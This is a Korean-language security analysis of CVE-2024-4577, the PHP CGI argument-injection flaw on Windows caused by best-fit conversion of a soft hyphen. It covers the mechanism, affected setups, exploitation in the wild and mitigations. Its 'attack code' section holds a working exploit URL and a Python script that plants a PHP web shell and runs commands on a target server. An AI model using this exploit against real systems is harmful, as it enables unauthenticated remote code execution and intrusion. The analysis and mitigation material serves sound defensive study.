/CVE 분석/CVE-2024-4577
CriticalCVSS 9.82024-06-06

CVE-2024-4577: PHP CGI Windows 인수 주입 RCE (CVSS 9.8)

Windows 환경의 PHP CGI에서 Best-fit 인코딩 변환을 악용한 인수 주입 취약점. XAMPP 기본 설정이 취약하며 패치 후 몇 시간 만에 실제 공격에 악용됨.

#PHP#CGI#Windows#Argument Injection#RCE

개요

항목 내용
CVE ID CVE-2024-4577
CVSS 점수 9.8 (Critical)
영향 제품 PHP CGI (Windows, 특정 로케일)
취약점 유형 Argument Injection
인증 필요 ❌ Pre-auth RCE
발견 DEVCORE, 2024년 6월
패치 PHP 8.3.8, 8.2.20, 8.1.29

기본 원리: CGI와 인수 주입

PHP CGI 모드란

웹 서버가 PHP를 실행하는 방식에는 크게 두 가지가 있다.

방식 1 — PHP-FPM (현대적, 권장)
  웹 서버(Apache/Nginx) ↔ FastCGI 소켓 ↔ PHP-FPM 프로세스 풀
  PHP는 별도 데몬으로 실행, 메모리 공유

방식 2 — PHP CGI (구식, 취약)
  HTTP 요청마다 새 프로세스 실행: apache → exec("php-cgi.exe ...")
  URL 쿼리스트링이 그대로 커맨드라인 인수로 전달될 수 있음
  성능 나쁘지만 일부 구형 설정(XAMPP 등)에서 여전히 사용

RFC 3875 — CGI의 설계 결함

RFC 3875(CGI 명세)에 따르면, URL 쿼리스트링에 = 기호가 없는 경우 쿼리스트링 전체를 커맨드라인 인수로 전달해야 한다. 이는 오래된 isindex 폼을 위한 기능이었다.

URL: /cgi-bin/php.cgi?arg1+arg2
쿼리스트링: "arg1 arg2" (= 없음)
→ PHP CGI 실행: php-cgi.exe arg1 arg2

URL: /cgi-bin/php.cgi?key=value
쿼리스트링: "key=value" (= 있음)
→ PHP 내에서 환경변수로 처리 (정상)

CVE-2012-1823은 이 기능을 악용해 -d 같은 PHP 옵션을 쿼리스트링으로 전달한 취약점이었다. 2012년 패치에서 쿼리스트링이 -로 시작하면 인수로 처리하지 않도록 필터링을 추가했다.


취약점 원리: Windows Best-fit 인코딩 변환

Windows의 문자 인코딩 변환

Windows는 멀티바이트 문자 인코딩(MBCS)과 유니코드(UTF-16) 사이를 변환할 때 Best-fit mapping을 사용한다. 이는 유니코드 문자 중 해당 코드 페이지에 정확히 대응하는 문자가 없을 때, 가장 비슷하게 생긴 문자로 대체하는 방식이다.

일본어 코드 페이지 CP932에서:
  U+00AD (SOFT HYPHEN: ­)  →  0x2D (ASCII HYPHEN: -)
  U+FF0D (FULLWIDTH HYPHEN: -)  →  0x2D (ASCII HYPHEN: -)
  U+2010 (HYPHEN: ‐)  →  0x2D (ASCII HYPHEN: -)

한국어 코드 페이지 CP949에서도 유사한 변환 발생

이유: "soft hyphen"은 시각적으로 하이픈처럼 보이므로
      "가장 가까운" 문자인 ASCII 하이픈(-)으로 매핑

우회 공격

PHP CGI의 2012년 패치는 쿼리스트링이 ASCII 하이픈 -(0x2D) 로 시작하면 차단한다. 그러나 Soft Hyphen(U+00AD) 은 ASCII가 아니므로 필터를 통과한다. 이 문자가 Windows의 코드 페이지 변환 과정에서 -로 변환된 후 PHP 인터프리터에 전달된다.

공격 URL: /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input

URL 디코딩: ?­d allow_url_include=1 ­d auto_prepend_file=php://input
            ↑ U+00AD (Soft Hyphen)

PHP CGI 필터 검사: ­ ≠ - (필터 통과!)

Windows CP932 변환: ­ → - (ASCII 하이픈으로 변환)

PHP 인터프리터 수신:
  php-cgi.exe -d allow_url_include=1 -d auto_prepend_file=php://input
PHP -d 옵션: php.ini 설정을 런타임에 변경
  allow_url_include=1 → URL에서 파일 include 허용
  auto_prepend_file=php://input → 모든 PHP 실행 전 POST 바디를 include
  
→ POST 바디에 PHP 코드를 넣으면 서버에서 실행됨!

공격 코드

import requests

target = "http://victim.com/php-cgi/php-cgi.exe"
# %AD = Soft Hyphen (URL 인코딩)
# %3d = = (URL 인코딩)
params = "?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"

# PHP 코드를 POST 바디로 전송 → auto_prepend_file=php://input에 의해 실행
php_code = "<?php echo shell_exec($_GET['cmd']); ?>"

resp = requests.post(
    target + params,
    data=php_code,
    headers={"Content-Type": "application/x-www-form-urlencoded"}
)
print(resp.text)

# 또는 직접 명령 실행
php_code = "<?php system('whoami'); ?>"
resp = requests.post(target + params, data=php_code)
print(resp.text)  # → nt authority\system 또는 apache 계정

취약한 환경

필수 조건:
  1. Windows 운영체제
  2. PHP가 CGI 모드로 실행 (php-cgi.exe)
  3. 취약한 로케일 코드 페이지 (CP932 일본어, CP950 중국어 번체,
     CP936 중국어 간체, CP949 한국어 등 — Best-fit 변환 발생)

가장 흔한 취약 환경:
  - XAMPP (Windows 기본 설치) — Apache + PHP CGI 기본 구성
  - 일본어/한국어/중국어 Windows 서버
  - 레거시 PHP 5.x/7.x 환경

안전한 환경:
  - PHP-FPM 방식 사용 시
  - Linux 환경 (Best-fit 변환 없음)
  - 영어 US 로케일 (CP1252) — 일부 변환은 없으나 다른 변형 주의

실제 공격

패치 공개: 2024년 6월 6일 (PHP 8.3.8/8.2.20/8.1.29)
첫 야생 공격 관측: 2024년 6월 7일 (패치 후 24시간 이내!)

공격 그룹: TellYouThePass 랜섬웨어 그룹
공격 내용:
  - CVE-2024-4577 RCE → 웹쉘 업로드
  - 내부망 탐색 및 데이터 수집
  - 랜섬웨어 배포
  
패치가 공개되자마자 공격자들이 역엔지니어링해 24시간 안에 익스플로잇을 만들었음.
"패치 후 n-day 공격"의 전형적 사례.

대응 방법

# PHP 버전 확인
php --version
# → 8.1.29 / 8.2.20 / 8.3.8 이상이어야 함

# PHP 업그레이드 (Windows)
# php.net에서 최신 버전 다운로드 후 교체
# Apache mod_rewrite로 악성 쿼리 차단 (임시 완화)
# httpd.conf 또는 .htaccess에 추가
RewriteEngine On
RewriteCond %{QUERY_STRING} ^[%\-+/\\]
RewriteRule .* - [F,L]
근본 해결책:
  1. PHP를 CGI 모드 대신 PHP-FPM으로 전환 (권장)
  2. XAMPP라면 업그레이드 또는 PHP-FPM 설정으로 변경
  3. Windows 로케일을 영어(US)로 변경 — 근본 해결 아님, 다른 변환 가능
  4. 외부 접근 가능한 php-cgi.exe 경로 차단

교훈

1. 문자 인코딩 변환은 보안 필터를 우회할 수 있다
   → 보안 검사는 항상 정규화(normalization) 후 수행
   → Windows API 호출 전에 유니코드 정규화: NFC/NFD/NFKC/NFKD

2. 이전 취약점 패치의 완전성 검증
   → CVE-2012-1823 패치가 일부 환경에서만 유효했음
   → 패치 후 다양한 인코딩/플랫폼 조합에서 재테스트 필요

3. 레거시 CGI 방식의 위험성
   → RFC 3875의 설계가 현대 보안 기준에 맞지 않음
   → PHP-FPM 등 현대적 실행 방식으로 마이그레이션 권장